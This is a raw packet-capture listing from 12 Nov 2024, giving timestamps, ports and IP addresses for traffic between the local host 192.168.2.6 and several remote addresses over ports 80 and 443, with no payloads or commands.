Nov 12, 2024 10:37:28.437026978 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:28.437088966 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:28.437380075 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:28.437390089 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:28.512062073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.512099981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.512110949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.512151003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.512161970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.512173891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.512181044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.512214899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.512567997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.512623072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.512628078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.512639999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.512660980 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.512681007 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.512722969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.513097048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.513143063 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.513148069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.513159990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.513185978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.513195038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.513309956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.513320923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.513364077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.514054060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.514105082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.609009981 CET	443	49880	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.612653017 CET	49880	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.612668037 CET	443	49880	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.613025904 CET	443	49880	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.613351107 CET	49880	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.613413095 CET	443	49880	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.616463900 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.616687059 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.616697073 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.617041111 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.617403030 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.617465973 CET	443	49881	172.64.41.3	192.168.2.6
Nov 12, 2024 10:37:28.629206896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629225969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629281044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.629384995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629396915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629407883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629431009 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.629461050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.629478931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629491091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629520893 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.629533052 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.629700899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629750013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.629784107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629797935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629826069 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.629865885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.629882097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.629895926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.666135073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.666150093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.666162014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.666188002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.666213989 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.666220903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.666232109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.666258097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.666274071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.713227034 CET	49880	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.745970011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.745985031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.745996952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746052027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746052027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746098995 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746138096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746181011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746208906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746248960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746340036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746350050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746385098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746510029 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746562958 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746570110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746608973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746680975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746737003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746757984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746772051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746798038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746810913 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.746876955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.746906996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.783016920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.783056021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.783068895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.783078909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.783113003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.783171892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.783181906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.783216953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.783260107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.783289909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.783308029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.783327103 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.799127102 CET	49881	443	192.168.2.6	172.64.41.3
Nov 12, 2024 10:37:28.862957954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.862974882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.862992048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863043070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863061905 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863076925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863091946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863112926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863347054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863356113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863380909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863400936 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863460064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863526106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863538980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863549948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863571882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863586903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863811970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863854885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863856077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863866091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.863888025 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.863903046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.901346922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.901362896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.901372910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.901420116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.901467085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.901492119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.901510000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.901520014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.901535034 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.901551008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.901660919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.901729107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.913197041 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.913726091 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.913742065 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.914343119 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.914347887 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.918718100 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.919115067 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.919136047 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.920162916 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.920167923 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.942121983 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.942780972 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.942812920 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.943296909 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.943303108 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.967052937 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.967977047 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.967995882 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.968621969 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.968627930 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.979876995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.979919910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.979931116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.979948044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.979979992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.979981899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.979988098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.980055094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.980102062 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.980338097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.980382919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.980391026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.980417013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.980482101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.980540037 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.980777979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.980787992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.980798960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:28.980818987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.980861902 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:28.985147953 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.985698938 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.985713959 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:28.986330986 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:28.986335039 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.017031908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.017079115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.017088890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.017119884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.017143011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.017203093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.017215967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.017226934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.017240047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.017256021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.017283916 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.017422915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.017564058 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.048712015 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.049820900 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.050029039 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.050092936 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.050111055 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.050120115 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.050126076 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.052062988 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.052114964 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.052268028 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.052372932 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.052392006 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.052403927 CET	49883	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.052408934 CET	443	49883	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.053369999 CET	49888	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.053419113 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.053487062 CET	49888	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.053776026 CET	49888	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.053786039 CET	443	49888	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.054527998 CET	49889	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.054559946 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.054630995 CET	49889	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.054734945 CET	49889	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.054744005 CET	443	49889	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.080005884 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:29.080027103 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:29.080301046 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:29.080895901 CET	49890	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:29.080904007 CET	443	49890	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:29.095359087 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.095382929 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.095421076 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.095443010 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.095478058 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.095575094 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.095588923 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.095598936 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.095602989 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.097650051 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.097662926 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.097742081 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.097933054 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.097940922 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.097996950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098042965 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098056078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098107100 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.098150015 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.098160028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098197937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.098278046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098309994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098321915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098334074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098387957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.098387957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.098495960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.098543882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.099123001 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.099154949 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.099195004 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.099283934 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.099347115 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.099347115 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.099353075 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.099359989 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.101233959 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.101264954 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.101355076 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.101466894 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.101478100 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.122571945 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.122631073 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.123058081 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.123058081 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.123136997 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.123152971 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.124979973 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.125010967 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.125472069 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.125587940 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:29.125598907 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:29.134305000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134371996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.134412050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134423018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134494066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134509087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134509087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.134526968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134551048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.134572983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.134756088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134789944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134799957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.134836912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.161681890 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.161914110 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.161926985 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.162249088 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.166009903 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.166068077 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.166462898 CET	49887	443	192.168.2.6	13.107.246.57
Nov 12, 2024 10:37:29.211323977 CET	443	49887	13.107.246.57	192.168.2.6
Nov 12, 2024 10:37:29.227149963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227210045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227219105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227220058 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.227260113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.227341890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227353096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227365017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227391958 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.227406025 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.227524996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227535963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227545977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.227593899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.250699997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.250754118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.250797987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.250807047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.250849962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.250858068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.250869989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.250978947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.251012087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.251028061 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.251050949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.251177073 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.251492977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.251565933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.251576900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.251621008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:29.251678944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:29.251847982 CET	49834	80	192.168.2.6	185.215.113.206
